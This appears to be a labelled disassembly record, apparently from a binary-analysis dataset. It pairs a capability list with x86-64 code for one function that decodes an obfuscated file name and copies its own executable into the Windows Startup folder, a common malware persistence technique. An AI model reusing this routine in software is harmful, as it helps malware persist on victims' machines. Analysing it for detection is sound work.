Function at 0x140042e90
Capabilities:
Copy file
Get common file path
Get startup folder
Write file to startup folder

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x400]
sub rsp, 0x500
mov rax, qword [0x1400e8180]
xor rax, rsp
mov qword [rbp + 0x3f0], rax
xor esi, esi
mov r8d, 0x104
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rsi + 7]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x140043190
mov byte [rsp + 0x30], sil
mov byte [rsp + 0x31], 0x75
mov byte [rsp + 0x32], 8
mov byte [rsp + 0x33], 0x39
mov byte [rsp + 0x34], 8
mov byte [rsp + 0x35], 2
mov byte [rsp + 0x36], 8
mov byte [rsp + 0x37], 0x48
mov byte [rsp + 0x38], 8
mov byte [rsp + 0x39], 0x1d
mov byte [rsp + 0x3a], 8
mov byte [rsp + 0x3b], 0x7e
mov byte [rsp + 0x3c], 8
mov byte [rsp + 0x3d], 0x76
mov byte [rsp + 0x3e], 8
mov byte [rsp + 0x3f], 0x6a
mov byte [rsp + 0x40], 8
mov byte [rsp + 0x41], 0x76
mov byte [rsp + 0x42], 8
mov byte [rsp + 0x43], 8
mov byte [rsp + 0x44], 8
movzx eax, byte [rsp + 0x31]
movzx eax, byte [rsp + 0x30]
test al, al
jne 0x140042fc8
mov r9d, esi
movzx ecx, byte [rsp + r9 + 0x31]
sub ecx, 8
lea r8d, [rcx + rcx*8]
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
add r8d, 0x7f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + r9 + 0x31], r8b
inc r9
cmp r9, 0x14
jb 0x140042f73
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea rax, [rsp + 0x31]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], si
jne 0x140042ff0
lea rdx, [rsp + 0x31]
lea rcx, [rsp + 0x70]
call fcn.140028840
nop
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x70]
call fcn.140038f70
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rax, [rbp - 0x30]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140043030
mov r8, rbx
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x50]
call fcn.140028840
nop
mov r9, rdi
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x50]
call fcn.1400436b0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x1400430a1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004309b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400431be
call fcn.14006127c
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x1400430e1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400430dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400431c4
call fcn.14006127c
movdqa xmm0, xmmword [0x1400d7e00]
movdqu xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x70], si
mov rdx, qword [rbp - 0x78]
cmp rdx, 8
jb 0x140043133
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004312e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400431ca
call fcn.14006127c
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae rdx, qword [rbp - 0x50]
mov r8d, 1
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.DLL_CopyFileW]
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140043190
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004318b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400431b8
call fcn.14006127c
mov rcx, qword [rbp + 0x3f0]
xor rcx, rsp
call fcn.140061220
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
call fcn.1400954d0
nop
call fcn.1400954d0
nop
call fcn.1400954d0
nop
call fcn.1400954d0
int3